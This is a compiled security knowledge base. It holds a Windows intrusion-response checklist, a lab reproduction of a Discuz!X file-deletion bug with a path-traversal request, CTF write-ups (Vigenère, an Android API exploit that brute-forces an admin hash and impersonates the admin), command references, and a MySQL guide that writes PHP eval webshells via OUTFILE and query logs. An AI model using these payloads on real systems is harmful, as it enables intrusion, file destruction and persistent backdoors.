## 0x01 入侵排查思路
### 一、检查系统账号安全
1、查看服务器是否有弱口令,远程管理端口是否对公网开放。
检查方法:据实际情况咨询相关服务器管理员。
2、查看服务器是否存在可疑账号、新增账号。
检查方法:打开 cmd 窗口,输入lusrmgr.msc命令,查看是否有新增/可疑的账号,如有管理员群组的(Administrators)里的新增账户,如有,请立即禁用或删除掉。
3、查看服务器是否存在隐藏账号、克隆账号。
检查方法:
a、打开注册表 ,查看管理员对应键值。
b、使用D盾_web查杀工具,集成了对克隆账号检测的功能。
4、结合日志,查看管理员登录时间、用户名是否存在异常。
检查方法:
a、Win+R打开运行,输入“eventvwr.msc”,回车运行,打开“事件查看器”。
b、导出Windows日志--安全,利用Log Parser进行分析。
### 二、检查异常端口、进程
1、检查端口连接情况,是否有远程连接、可疑连接。
检查方法:
a、netstat -ano 查看目前的网络连接,定位可疑的ESTABLISHED
b、根据netstat 定位出的pid,再通过tasklist命令进行进程定位 tasklist | findstr “PID”
2、进程
检查方法:
a、开始--运行--输入msinfo32,依次点击“软件环境→正在运行任务”就可以查看到进程的详细信息,比如进程路径、进程ID、文件创建日期、启动时间等。
b、打开D盾_web查杀工具,进程查看,关注没有签名信息的进程。
c、通过微软官方提供的 Process Explorer 等工具进行排查 。
d、查看可疑的进程及其子进程。可以通过观察以下内容:
没有签名验证信息的进程
没有描述信息的进程
进程的属主
进程的路径是否合法
CPU或内存资源占用长时间过高的进程
3、小技巧:
a、查看端口对应的PID: netstat -ano | findstr “port”
b、查看进程对应的PID:任务管理器--查看--选择列--PID 或者 tasklist | findstr “PID”
c、查看进程对应的程序位置:
任务管理器--选择对应进程--右键打开文件位置
运行输入 wmic,cmd界面 输入 process
d、tasklist /svc 进程--PID--服务
e、查看Windows服务所对应的端口:
%system%/system32/drivers/etc/services(一般%system%就是C:\Windows)
### 三、检查启动项、计划任务、服务
1、检查服务器是否有异常的启动项。
检查方法:
a、登录服务器,单击【开始】>【所有程序】>【启动】,默认情况下此目录在是一个空目录,确认是否有非业务程序在该目录下。
b、单击开始菜单 >【运行】,输入 msconfig,查看是否存在命名异常的启动项目,是则取消勾选命名异常的启动项目,并到命令中显示的路径删除文件。
c、单击【开始】>【运行】,输入 regedit,打开注册表,查看开机启动项是否正常,特别注意如下三个注册表项:
```
HKEY_CURRENT_USER\software\micorsoft\windows\currentversion\run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Runonce
```
检查右侧是否有启动异常的项目,如有请删除,并建议安装杀毒软件进行病毒查杀,清除残留病毒或木马。
d、利用安全软件查看启动项、开机时间管理等。
e、组策略,运行gpedit.msc。

2、检查计划任务
检查方法:
a、单击【开始】>【设置】>【控制面板】>【任务计划】,查看计划任务属性,便可以发现木马文件的路径。
b、单击【开始】>【运行】;输入 cmd,然后输入at,检查计算机与网络上的其它计算机之间的会话或计划任务,如有,则确认是否为正常连接。
3、服务自启动
检查方法:单击【开始】>【运行】,输入services.msc,注意服务状态和启动类型,检查是否有异常服务。
### 四、检查系统相关信息
1、查看系统版本以及补丁信息
检查方法:单击【开始】>【运行】,输入systeminfo,查看系统信息
2、查找可疑目录及文件
检查方法:
a、 查看用户目录,新建账号会在这个目录生成一个用户目录,查看是否有新建用户目录。
Window 2003 C:\Documents and Settings
Window 2008R2 C:\Users\
b、单击【开始】>【运行】,输入%UserProfile%\Recent,分析最近打开分析可疑文件。
c、在服务器各个目录,可根据文件夹内文件列表时间进行排序,查找可疑文件。
### 五、自动化查杀
1、病毒查杀
检查方法:下载安全软件,更新最新病毒库,进行全盘扫描。
2、webshell查杀
检查方法:选择具体站点路径进行webshell查杀,建议使用两款webshell查杀工具同时查杀,可相互补充规则库的不足。
### 六、日志分析
1、系统日志
分析方法:
a、前提:开启审核策略,若日后系统出现故障、安全事故则可以查看系统的日志文件,排除故障,追查入侵者的信息等。
b、Win+R打开运行,输入“eventvwr.msc”,回车运行,打开“事件查看器”。
C、导出应用程序日志、安全日志、系统日志,利用Log Parser进行分析。
2、WEB访问日志
分析方法:
a、找到中间件的web日志,打包到本地方便进行分析。
b、推荐工具:Window下,推荐用 EmEditor 进行日志分析,支持大文本,搜索效率还不错。 Linux下,使用Shell命令组合查询分析
## 0x03 工具篇
病毒分析 :
```
PCHunter:http://www.xuetr.com
火绒剑:https://www.huorong.cn
Process Explorer:https://docs.microsoft.com/zh-cn/sysinternals/downloads/process-explorer
processhacker:https://processhacker.sourceforge.io/downloads.php
autoruns:https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns
OTL:https://www.bleepingcomputer.com/download/otl/
```
病毒查杀:
```
卡巴斯基:http://devbuilds.kaspersky-labs.com/devbuilds/KVRT/latest/full/KVRT.exe
(推荐理由:绿色版、最新病毒库)
大蜘蛛:http://free.drweb.ru/download+cureit+free
(推荐理由:扫描快、一次下载只能用1周,更新病毒库)
火绒安全软件:https://www.huorong.cn
360杀毒:http://sd.360.cn/download_center.html
```
病毒动态:
```
CVERC-国家计算机病毒应急处理中心:http://www.cverc.org.cn
微步在线威胁情报社区:https://x.threatbook.cn
火绒安全论坛:http://bbs.huorong.cn/forum-59-1.html
爱毒霸社区:http://bbs.duba.net
腾讯电脑管家:http://bbs.guanjia.qq.com/forum-2-1.html
```
在线病毒扫描网站:
```
http://www.virscan.org //多引擎在线病毒扫描网 v1.02,当前支持 41 款杀毒引擎
https://habo.qq.com //腾讯哈勃分析系统
https://virusscan.jotti.org //Jotti恶意软件扫描系统
http://www.scanvir.com //针对计算机病毒、手机病毒、可疑文件等进行检测分析
```
webshell查杀:
```
D盾_Web查杀:http://www.d99net.net/index.asp
河马webshell查杀:http://www.shellpub.com
深信服Webshell网站后门检测工具:http://edr.sangfor.com.cn/backdoor_detection.html
Safe3:http://www.uusec.com/webshell.zip
```
|
sec-knowleage
|
# Discuz!X ≤3.4 任意文件删除漏洞
影响版本:Discuz!X ≤3.4
漏洞详情:https://lorexxar.cn/2017/09/30/dz-delete/
## 启动环境
执行下列命令部署 Discuz!X 安装环境
```
docker compose up -d
```
安装时,只用修改数据库地址为`db`,其他保持默认即可:

## 漏洞复现
访问`http://your-ip/robots.txt`可见robots.txt是存在的:

注册用户后,在个人设置页面找到自己的formhash:

带上自己的Cookie、formhash发送如下数据包:
```
POST /home.php?mod=spacecp&ac=profile&op=base HTTP/1.1
Host: localhost
Content-Length: 367
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPFvXyxL45f34L12s
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.79 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: [your cookie]
Connection: close
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="formhash"
[your formhash]
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="birthprovince"
../../../robots.txt
------WebKitFormBoundaryPFvXyxL45f34L12s
Content-Disposition: form-data; name="profilesubmit"
1
------WebKitFormBoundaryPFvXyxL45f34L12s--
```
提交成功之后,用户资料修改页面上的出生地就会显示成下图所示的状态:

说明我们的脏数据已经进入数据库了。
然后,新建一个`upload.html`,代码如下,将其中的`[your-ip]`改成discuz的域名,`[form-hash]`改成你的formhash:
```
<body>
<form action="http://[your-ip]/home.php?mod=spacecp&ac=profile&op=base&profilesubmit=1&formhash=[form-hash]" method="post" enctype="multipart/form-data">
<input type="file" name="birthprovince" />
<input type="submit" value="upload" />
</form>
</body>
```
用浏览器打开该页面,上传一个正常图片。此时脏数据应该已被提取出,漏洞已经利用结束。
再次访问`http://your-ip/robots.txt`,发现文件成功被删除:

|
sec-knowleage
|
# la cifra de
Cryptography, 200 points
## Description:
> I found this cipher in an old book. Can you figure out what it says?
## Solution:
We connect to the service and get the following output:
```console
root@kali:/media/sf_CTFs/pico/la_cifra_de# nc 2019shell1.picoctf.com 37608
Encrypted message:
Ne iy nytkwpsznyg nth it mtsztcy vjzprj zfzjy rkhpibj nrkitt ltc tnnygy ysee itd tte cxjltk
Ifrosr tnj noawde uk siyyzre, yse Bnretèwp Cousex mls hjpn xjtnbjytki xatd eisjd
Iz bls lfwskqj azycihzeej yz Brftsk ip Volpnèxj ls oy hay tcimnyarqj dkxnrogpd os 1553 my Mnzvgs Mazytszf Merqlsu ny hox moup Wa inqrg ipl. Ynr. Gotgat Gltzndtg Gplrfdo
Ltc tnj tmvqpmkseaznzn uk ehox nivmpr g ylbrj ts ltcmki my yqtdosr tnj wocjc hgqq ol fy oxitngwj arusahje fuw ln guaaxjytrd catizm tzxbkw zf vqlckx hizm ceyupcz yz tnj fpvjc hgqqpohzCZK{m311a50_0x_a1rn3x3_h1ah3xj62p044a}
Zmp fowdt cjwl-jtnusjytki oeyhcivytot tq a vtwygqahggptoh nivmpr nthebjc, wgx xajj lruzyd 1467 hd Weus Mazytszf Llhjcto.
Yse Bnretèwp Cousex nd tnjceltce ytxeznxey hllrjo tnj Llhjcto Itsi tc Argprzn Nivmpr.
Os 1508, Uonfynkx Eroysesnfs osgetypd zmp su-hllrjo tggflg wpczf (l mgycid tq snnqtki llvmlbkyd) tnfe wuzwd rfeex gp a iwttohll itxpuspnz tq tnj Gimjyèrk Htpnjc.
Bkqwayt’d skhznj gzoqqpt guaegwpd os 1555 ls g hznznyugytot tq tnj qixxe. Tnj wocjc hgqgey tq tnj llvmlbkyd axj yoc xsilypd xjrurfcle, gft zmp arusahjes gso tnj tnjji lkyeexx lrk rtxki my sjlny tq a sspmustc qjj pnwlsk, bsiim nat gp dokqexjyt cneh kfnh itcrkxaotipnz.
```
[This site](https://www.guballa.de/vigenere-solver) is great at breaking Vigenère ciphers without knowing the key.
The result:
```
It is interesting how in history people often receive credit for things they did not create
During the course of history, the Vigenère Cipher has been reinvented many times
It was falsely attributed to Blaise de Vigenère as it was originally described in 1553 by Giovan Battista Bellaso in his book La cifra del. Sig. Giovan Battista Bellaso
For the implementation of this cipher a table is formed by sliding the lower half of an ordinary alphabet for an apparently random number of places with respect to the upper halfpicoCTF{b311a50_0r_v1gn3r3_c1ph3re62e044a}
The first well-documented description of a polyalphabetic cipher however, was made around 1467 by Leon Battista Alberti.
The Vigenère Cipher is therefore sometimes called the Alberti Disc or Alberti Cipher.
In 1508, Johannes Trithemius invented the so-called tabula recta (a matrix of shifted alphabets) that would later be a critical component of the Vigenère Cipher.
Bellaso’s second booklet appeared in 1555 as a continuation of the first. The lower halves of the alphabets are now shifted regularly, but the alphabets and the index letters are mixed by means of a mnemonic key phrase, which can be different with each correspondent.
```
The flag: `picoCTF{b311a50_0r_v1gn3r3_c1ph3re62e044a}`.
The key was:
```
Key "flag"
Key length 4
Cipher text length 952
Ratio
(cipher_len:key_len) 238.00
Difficulty
easy
Clear text score (fitness)
99.57
```
|
sec-knowleage
|
# ShareL (Web, 357p, 7 solved)
In the challenge we get [an Android app](shareL.txz) to work with.
Once we decompile it we can pinpoin some useful pieces of code:
```java
public interface APIInterFace {
@GET("api/link/mylinks")
@Headers({"Content-Type:application/json"})
Call<MyLinks> MyLinks(@Header("auth-token") String str, @Header("device-id") String str2);
@GET("api/link/preview/{user_id}/{rnd_num}/{link_name}")
@Headers({"Content-Type:application/json"})
Call<PreviewLink> PreviewLink(@Header("auth-token") String str, @Header("device-id") String str2, @Path("user_id") int i, @Path("rnd_num") int i2, @Path("link_name") String str3);
@GET("api/user/{user_id}/public_links")
@Headers({"Content-Type:application/json"})
Call<UsrPLink> UserPubLink(@Header("auth-token") String str, @Header("device-id") String str2, @Path("user_id") int i);
@GET("api/users/{user_id}")
@Headers({"Content-Type:application/json"})
Call<UserProfile> getUserProfile(@Header("auth-token") String str, @Header("device-id") String str2, @Path("user_id") int i);
@GET("api/users/register/{md}/{rnd}")
Call<NewDevice> regNewDev(@Path("md") String str, @Path("rnd") String str2);
@POST("api/links/share")
@Headers({"Content-Type:application/json"})
Call<ShareLink> shareLink(@Header("auth-token") String str, @Header("device-id") String str2, @Body sShareLink ssharelink);
@POST("api/links/share/private")
@Headers({"Content-Type:application/json"})
Call<SharePLinkUser> sharePLink(@Header("auth-token") String str, @Header("device-id") String str2, @Body sSharePLink sshareplink);
@GET("api/users/top")
@Headers({"Content-Type:application/json"})
Call<Top10Users> top10user(@Header("auth-token") String str, @Header("device-id") String str2);
@GET("api/users/me")
@Headers({"Content-Type:application/json"})
Call<Whoami> whoami(@Header("auth-token") String str, @Header("device-id") String str2);
}
```
This is the definition of the backend API, at least most of it.
In `AllUsersLogActivity` we can find two additional endpoints, including very important `/logs/all/log_id/`.
Another vital part is:
```java
public class Utils {
public static String BASE_URL = "http://66.172.33.148:5001";
public static void setBaseUrl(String str) {
BASE_URL = str;
}
public static String getAuth(Context context) {
SharedPreferences sharedPreferences = context.getSharedPreferences("register", 0);
String string = sharedPreferences.getString("auth", null);
int i = sharedPreferences.getInt("uid", 1000);
StringBuilder sb = new StringBuilder();
sb.append(i);
sb.append(".");
sb.append(string);
return sb.toString();
}
public static String getUid(Context context) {
int i = context.getSharedPreferences("register", 0).getInt("uid", 1000);
StringBuilder sb = new StringBuilder();
sb.append(i);
sb.append("");
return sb.toString();
}
public static String getDeviceId(Context context) {
return CryptoHandler.md5(Secure.getString(context.getContentResolver(), "android_id"));
}
public static boolean isEmulator() {
String str = "generic";
if (!Build.FINGERPRINT.startsWith(str) && !Build.FINGERPRINT.startsWith(EnvironmentCompat.MEDIA_UNKNOWN)) {
String str2 = "google_sdk";
if (!Build.MODEL.contains(str2) && !Build.MODEL.contains("Emulator") && !Build.MODEL.contains("Android SDK built for x86") && !Build.MANUFACTURER.contains("Genymotion") && ((!Build.BRAND.startsWith(str) || !Build.DEVICE.startsWith(str)) && !str2.equals(Build.PRODUCT))) {
return false;
}
}
return true;
}
public static int getRandom() {
if (isEmulator()) {
return new Random().nextInt(14) + 1;
}
return new Random().nextInt(900000000) + 100000000;
}
}
```
From this we know the URL for the application backend, and we know how `getAuth`, `getUid` and `getRandom` are called.
Finally in order to start playing, we need to know how to register, since most endpoints require `@Header("device-id") String str2, @Path("user_id") int i`.
This we can find in `SplashScreen.java`:
```java
public void registerNewDevice() {
Call call;
APIInterFace aPIInterFace = (APIInterFace) new APIClient(getApplicationContext()).getClient().create(APIInterFace.class);
this.state.setText("Registering New Device ...\n");
final String string = Secure.getString(getContentResolver(), "android_id");
this.random = Utils.getRandom();
CryptoHandler.getPhonId(string);
String str = "";
if (new RootBeer(getApplicationContext()).isRooted()) {
String sha1Hash = CryptoHandler.sha1Hash(string);
this.random = new Random().nextInt(859) + 1;
StringBuilder sb = new StringBuilder();
sb.append(this.random);
sb.append(str);
call = aPIInterFace.regNewDev(sb.toString(), sha1Hash);
} else {
String md5 = CryptoHandler.md5(string);
this.random = new Random().nextInt(900000000) + 100000000;
StringBuilder sb2 = new StringBuilder();
sb2.append(this.random);
sb2.append(str);
call = aPIInterFace.regNewDev(md5, sb2.toString());
}
final SharedPreferences sharedPreferences = getSharedPreferences("register", 0);
call.enqueue(new Callback<NewDevice>() {
public void onResponse(Call<NewDevice> call, Response<NewDevice> response) {
String str = "uid";
NewDevice newDevice = (NewDevice) response.body();
try {
if (newDevice.code == 200) {
Editor edit = SplashScreen.this.getSharedPreferences("register", 0).edit();
edit.putString("auth", newDevice.data.auth_hash);
edit.putString("phone_id", string);
edit.putInt(str, newDevice.data.user_id);
edit.putInt("rnd", SplashScreen.this.random);
edit.apply();
Intent intent = new Intent(SplashScreen.this.getApplicationContext(), MainActivity.class);
intent.putExtra(str, sharedPreferences.getInt(str, 0));
intent.addFlags(268468224);
SplashScreen.this.startActivity(intent);
return;
}
SplashScreen.this.state.setText("the app cannot register, sorry ...\n");
Context applicationContext = SplashScreen.this.getApplicationContext();
StringBuilder sb = new StringBuilder();
sb.append("code: ");
sb.append(newDevice.code);
Toast.makeText(applicationContext, sb.toString(), 1).show();
} catch (Exception e) {
e.printStackTrace();
Toast.makeText(SplashScreen.this.getApplicationContext(), "Failed", 0).show();
}
}
public void onFailure(Call<NewDevice> call, Throwable th) {
Toast.makeText(SplashScreen.this.getApplicationContext(), "Failed", 0).show();
}
});
}
```
In the end it's pretty simple, we just need to send request to `@GET("api/users/register/{md}/{rnd}")` with `md` being `md5` of our `androidID` (we can use any string here) and `rnd` being number from `new Random().nextInt(900000000) + 100000000;`:
```python
md5 = hashlib.md5("p4_xakep").hexdigest()
rnd = random.randint(100000000, 1000000000)
link = "http://66.172.33.148:5001/api/users/register/" + md5 + "/" + str(rnd)
r = requests.get(link)
print(r.text)
```
Once we do this, we get back user ID and authentication hash:
```json
{"code":200,"data":{"auth_hash":"def8e3a5de492f1a5ba8c8f239560246","user_id":7}}
```
What is important to notice here, is that our `auth_hash` is in fact `md5(rnd)`, in this case `md5('460528284')`.
This will come in handy later on.
I have no idea how we were supposed to guess it, we were just lucky...
The `device id`, as we can see from the source code, is `md5` we provided when registering.
Now that we're logged in, it's time to poke around the API.
First thing we notice is that some endpoints don't really validate the headers they seemingly require.
But let's start with the really interesting endpoint, the one that was hidden from the retrofit API client, the `logs`:
```python
for i in range(1, 50):
url = "http://66.172.33.148:5001/logs/all/log_id/" + str(i)
r = requests.get(url, headers={"auth-token": "1234.def8e3a5de492f1a5ba8c8f239560246", "device-id": "not really verified"})
print(r.text)
```
From that we can get back:
```
{"code":200,"data":{"logs":{"log_details":"user_id(1) created by auth_hash(7974d396f5cfcdbe3433037c11e819ca)","log_id":23,"log_name":"application log","user_id":1}}}
{"code":200,"data":{"logs":{"log_details":"user_id(1) changed the users.register.activity.logs = 1","log_id":24,"log_name":"application log","user_id":1}}}
{"code":200,"data":{"logs":{"log_details":"","log_id":25,"log_name":"application log","user_id":1}}}
{"code":200,"data":{"logs":{"log_details":"","log_id":26,"log_name":"application log","user_id":1}}}
{"code":200,"data":{"logs":{"log_details":"","log_id":27,"log_name":"application log","user_id":1}}}
{"code":200,"data":{"logs":{"log_details":"user_id(1) shared a private link named test","log_id":28,"log_name":"application log","user_id":1}}}
{"code":200,"data":{"logs":{"log_details":"user_id(1) changed the links.share.activity.log = 0","log_id":29,"log_name":"application log","user_id":1}}}
```
Rest of the logs is not really important.
From this we can see:
1. Admin auth hash (!) `7974d396f5cfcdbe3433037c11e819ca`
2. Message admin shared -> `shared a private link named test`
As mentioned before, some of the endpoints don't verify `device-id`, so just with auth token from admin we can look around some endpoints.
From the logs is seems admin added some note, but redacted this in the logs.
Most likely this is the flag!
Initially we thought that this link `test` is the flag, so we tried to share it with our registered user.
But it seems that the payload we send is:
```java
public class sSharePLink {
public String link_name;
public int random_number;
public int share_user_id;
public int user_id;
}
```
It includes the random number admin used when registering.
However, as mentioned earlier, we noticed that this `md5(this number)` is actually the auth token.
This means we can just do:
```python
import hashlib
from multiprocessing import freeze_support
from crypto_commons.brute.brute import brute
from crypto_commons.generic import long_range
def worker(data):
start, stop = data
for i in long_range(start, stop):
if hashlib.md5(str(i)).hexdigest() == '7974d396f5cfcdbe3433037c11e819ca':
print(i)
def main():
part_size = 900000000 / 6
brute(worker, [(i * part_size, (i + 1) * part_size) for i in range(6)], processes=6)
if __name__ == '__main__':
freeze_support()
main()
```
And recover this in a moment.
This gives us `493291123`.
Now we can share the link `test` with our user:
```python
url = "http://66.172.33.148:5001/api/links/share/private"
r = requests.post(url, json={"link_name": "test", "random_number": "493291123", "user_id": "1", "share_user_id": "7"},
headers={
"auth-token": "1234.7974d396f5cfcdbe3433037c11e819ca",
"device-id": "not really verified",
"Content-Type": "application/json"
})
print(r.text)
```
And we get back:
```json
{"code":200,"data":{"msg":"the user_id(7) can view the link by /api/link/preview/1/493291123/test"}}
```
And indeed, we can now check this link, but it's not the flag.
If we check stats for the admin:
```python
url = "http://66.172.33.148:5001/api/users/me"
r = requests.get(url, headers={"auth-token": "1234.7974d396f5cfcdbe3433037c11e819ca", "device-id": "1234"})
print(r.text)
```
We ca see:
```json
{"code":200,"data":{"links":5,"user_id":1,"user_type":"Administrator"}}
```
So admin has 5 links.
It took us a long time to figure out how to get the name of the admin links (trying to get device-id, to use `/mylinks` was a no-go, the android_id is unpredictable).
Eventually we played a little bit with adding our own links and sharing them, and then we noticed that trying to add the same link twice gives us and error with list of all the names of our links!
We can do this now for the admin, because we know there is a link `test`:
```python
url = "http://66.172.33.148:5001/api/links/share"
r = requests.post(url, json={"link_name": "test", "link": "https://somelink", "private": "0"},
headers={
"auth-token": "1234.7974d396f5cfcdbe3433037c11e819ca",
"device-id": "not really verified",
"Content-Type": "application/json"
})
print(r.text)
```
And we get:
```json
{"code":400,"data":{"err":"you cannot pick the link name which has already exists ['test', 'google', 'thefl4g_Not3', 'a', 'local']"}}
```
Now we have the name `thefl4g_Not3` and we can share it with our user:
```python
url = "http://66.172.33.148:5001/api/links/share/private"
r = requests.post(url, json={"link_name": "thefl4g_Not3", "random_number": "493291123", "user_id": "1", "share_user_id": "7"},
headers={
"auth-token": "1234.7974d396f5cfcdbe3433037c11e819ca",
"device-id": "not really verified",
"Content-Type": "application/json"
})
print(r.text)
```
And we have:
```json
{"code":200,"data":{"msg":"the user_id(7) can view the link by /api/link/preview/1/493291123/thefl4g_Not3"}}
```
And finally we can view the flag link:
```python
url = "http://66.172.33.148:5001//api/link/preview/1/493291123/thefl4g_Not3"
r = requests.get(url, headers={"auth-token": "1234.def8e3a5de492f1a5ba8c8f239560246", "device-id": "2ef73a3388eb415c5a415b8004bae2b9"})
print(r.text)
```
And there is:
```json
{"code":200,"data":{"link":"https://ShareL.tld/fL/r34d_me"}}
```
And we go to the `http://66.172.33.148:5001/fL/r34d_me` for the flag `flag":"ASIS{34f9266d60f7eb45a8f29796e44853eb}`
|
sec-knowleage
|
xclip
===
管理 X 粘贴板
## 补充说明
在 X 系统里面,从一个窗口复制一段文字到另一个窗口,有两套机制,分别是 Selections 和 cut buffers。
常用的 copy & paste 是利用的 cut buffers 机制;另外用鼠标选中一段文字,然后在另一个窗口按鼠标中键实现复制,利用的是 selections 机制。selection 又可以分为 master 和 slave selection。
当用鼠标选中一段文件,这段文字就自动被复制到 master selection。然后在另一个地方按鼠标中键,就自动把 master selection 的内容粘贴出来。
当你想复制少量文字的时候,两种方法都是很方便的。但是当复制大段文字的时候就挺麻烦。另外就是你可能会频繁的执行一些复制粘贴工作,不停的用鼠标选中文字,然后再粘贴。这是对手指的折磨。
我忍受不了这种折磨,所以发现了 xclip, 方便的管理 X selections 里面内容的工具。
比如如下命令就把文件 /etc/passwd 的内容复制到 X master selections 里面了。
```shell
xclip -i /etc/passwd
```
然后到别的地方就能复制出来,利用鼠标中键。或者是更舒服的 shift+insert。 我现在最常用的方法是通过键盘绑定来管理 X master selections 的内容。比如 alt+F1 就能把我的 ~/f1 的内容复制到 X master selections,alt+F2 复制 ~/f2 的内容。这样就能把你需要经常用到的内容方便的进行复制粘贴。比如常用的密码啥的。
|
sec-knowleage
|
rpmquery
===
从RPM数据库中查询软件包信息
## 补充说明
**rpmquery命令** 使用多种依据从rpm数据库中查询软件包信息。
### 语法
```shell
rpmquery(选项)
```
### 选项
```shell
-qf:查询指定的文件所属的软件包;
-q:查询指定的软件包是否被安装;
-qc:查询软件包中的配置文件;
-qd:查询软件包中的文档文件;
-qi:查询软件包的基本信息。
```
### 实例
使用rpmquery命令查询指定文件所属的软件包:
```shell
[root@localhost ~]# rpmquery -qf /usr/bin/htpasswd
httpd-2.2.3-81.el5.centos
```
|
sec-knowleage
|
# 0x00 简介
MySQL 中 在在mysql 5.6.34版本以后 secure_file_priv的值默认为NULL ,而 secure_file_priv为null 那么我们就不能导出文件,以下都建立在
secure_file_priv 的默认值被修改为无才能利用,且这个只能手工修改配置文件不能用sql语句,也就是想直接导出需要管理员不知道干了什么帮你修改好这个权限才行。
windows系统在 my.ini的[mysqld]下面加上secure_file_priv = ,linux 的在 /etc/my.cnf 同时读写权限问题就不用说了。
```
mysql> show global variables like '%secure%';
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_auth | OFF |
| secure_file_priv | |
+------------------+-------+
2 rows in set (0.00 sec)
```
# 0x01 读文件
可以把文件hex一下输出,文件名也是支持 hex和char的
```
mysql> select * from admin union select 1,hex(load_file('D:\\1.txt')),3;
+------+------------------------+----------+
| id | username | password |
+------+------------------------+----------+
| 3 | bdmin | fdmin |
| 2 | admin | ddmin |
| 1 | cdmin | bdmin |
| 1 | 617574686F72A3BA343034 | 3 |
+------+------------------------+----------+
4 rows in set (0.02 sec)
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,hex(load_file(0x463A5C5C312E747874)),3-- +
```
当然你加入你进了phpmyadmin类似的平台 可以执行sql语句,你可以选择把导入的数据插入表中
同时支持导入的函数还有 `load data infile`
```
create table test(test text);
insert into test(test) values (load_file('D:\\1.txt'));
select * from test;
```
如果能读文件在渗透测试中往往很有用,可以读取配置文件,系统问题等等关键信息,在我以前的一次意淫中,进入一个后台功能全被限制死了,但是可以执行导入,通过一个编辑器的目录遍历,发现某文件时间不一致,读取出来发现是webshell,应该是某黑客进去之后做的手脚
# 0x02 写文件
1.
写文件我们一般用到 `dumpfile`与`outfile` 她们其实是有区别
`outfile` 会在行末写入新行,而且会转义换行符
`dumpfile` 能导出一个完整的文件,不会有任何转义 所以我们udf提取一般用的dumpfile
```
mysql> select * from admin where id =1 union select 1,'<?php eval($_POST[cmd]);?>',3 into outfile 'G:\\test.txt';
Query OK, 2 rows affected (0.00 sec)
```
2.
后来大佬们找到一种方法通过日志来写shell解决这个史诗级难题,但是需要能直接执行sql语句利用有限
```
set global general_log=on;
set global general_log_file='D://404.php';
select '<?php eval($_POST['404']) ?>';
```
通过把日志路径更改 ,让查询的日志保存过去,还有一种慢日志,原理一样
```
mysql> show global variables like '%query_log%'
-> ;
+---------------------+-------------------------------------------------------------+
| Variable_name | Value |
+---------------------+-------------------------------------------------------------+
| slow_query_log | OFF |
| slow_query_log_file | D:\phpstudy\PHPTutorial\MySQL\data\LAPTOP-M4APUKKN-slow.log |
+---------------------+-------------------------------------------------------------+
2 rows in set (0.00 sec)
```
```
set global slow_query_log=1;
set global slow_query_log_file='D://404.php'
select '<?php eval($_POST['404']) ?>' or sleep(15);
```
# 0x03 堆叠查询
mysql是支持堆叠查询的用`;` 分割语句,但是php原生的连接方式不支持,但是使用 PDO,mysqli_multi_query()等等是支持多语句的,在我们使用堆叠查询的时候基本是没有回显的,而且其实很难遇到这种环境。
```
mysql> select * from admin where id =1;select user();
+------+----------+----------+
| id | username | password |
+------+----------+----------+
| 1 | cdmin | bdmin |
+------+----------+----------+
1 row in set (0.00 sec)
+----------------+
| user() |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)
```
这里讲在一起就是因为,假如支持堆叠查询还可以用日志来写shell。
```
http://192.168.59.129/Less-38/?id=1%27;set global general_log=on;set global general_log_file='C://phpstudy//404.php';--+
http://192.168.59.129/Less-38/?id=1%27;select '<?php eval($_POST[404]) ?>';--+
```
# 0x04 文末
#### 本文如有错误,请及时提醒,避免误导他人
* author:404
|
sec-knowleage
|
version: '2'
services:
sshd:
build: .
environment:
- ROOT_PASSWORD=vulhub
ports:
- "20022:22"
|
sec-knowleage
|
# Relatively Short Attack
Category: Cryptography
## Description
> We found another message and your previous attacks didn't seem to work on it, can you decrypt this? something is a little off...
A text file was attached.
## Solution
From the name of the challenge we can guess that it will deal with RSA.
Let's check the attached file:
```console
root@kali:/media/sf_CTFs/technion/Relatively_Short_Attack# cat message.txt
n: 10364681048028830315490275756134217915633721395858880009379828039407950106613803444233263372859111494860583836042750222262207631245100943753316547543792528234538543198410965074633352662112444173593049186160593872197415159527051303546344486194732118948276245815890428823277192089807199612414113880988812798364387953344616735091128018330975226323161386218140555739616884853301595293753956388453886302748570337879861963279483517721879436034102923849372971261209042878345027526073620020843558969129592223394923703553378339626347039929843491748659887175604265625759456011916947699252974043856015706670628748318610701437919373462965293818032070574024704617131165131430943108570165360448009354125390348791953643339824561592756180865097545675477827479042536592308496424846983832343683624191949514789701980915235849767780002454300653880830281691925418548902133858348969513901339569994325103883031206537631632797822057893321918468155851259466159184285872992092665277008510752372827445549936857928435870957632104084065706172177129883224760587854750706514214255700837112087375462277821692342920930683232778853130439059458012607052737898611490131853917115047123171222232041089705385362741961908084683472863322355271995571759705442745972877543170330507710850183768695325590248799161312822642594469882502860459807769344365495578915441439236027789757127826578943212320256485073422907062832690001927287836665240832136010953991435232349162692789680030157480602361279478309640142747498558652588205863531851208669265787465198522036820072306893599189295435427131785183045539782706120935433856540235889741074432859911917378990525216475651569045365026438054913936797288721050215493241699564152468210128448274236457730457286533679565461671772561257519249909090971137348206400769597309556979359974202465048828284174937210596518976171479783083513601099600137553122478206655394430916160397735818647753946840460123008864238880308630201475921667623817436048407870167181477437504440441676723209878889812176291389297079918960738707938286322736432047365679704866475856632800787426696345295132291712617599510689941039881919295590526581258369040983952822874004555282408798608543450941153394323683429576384759980360510466946912002579451024872164889591403297292405649021278024338901346889184157419878901414999751898427136084471304798018052777639754128878863338680637024138752808934256178117142564433503371281547600363521565643005961137566901692092264533128405431268048172410319852324038514968268526273978641503049665293317671628549565957968135159358589105594143857452617619774698192633791875647793106495015244742497031796214384676557997450871275255021450718310546549947508104022104587009760611609451947866747038167240555963321712276228522804189529770467733483358155478550698210981979184987940535676088037611784132933425549404213582841169653898599173214048716240353877889961611666053517244974538727697644053166182767238833757418598837449622060762933560114157682121549063653295643130456085472580090872208716408294312882901276812878227020248020426274873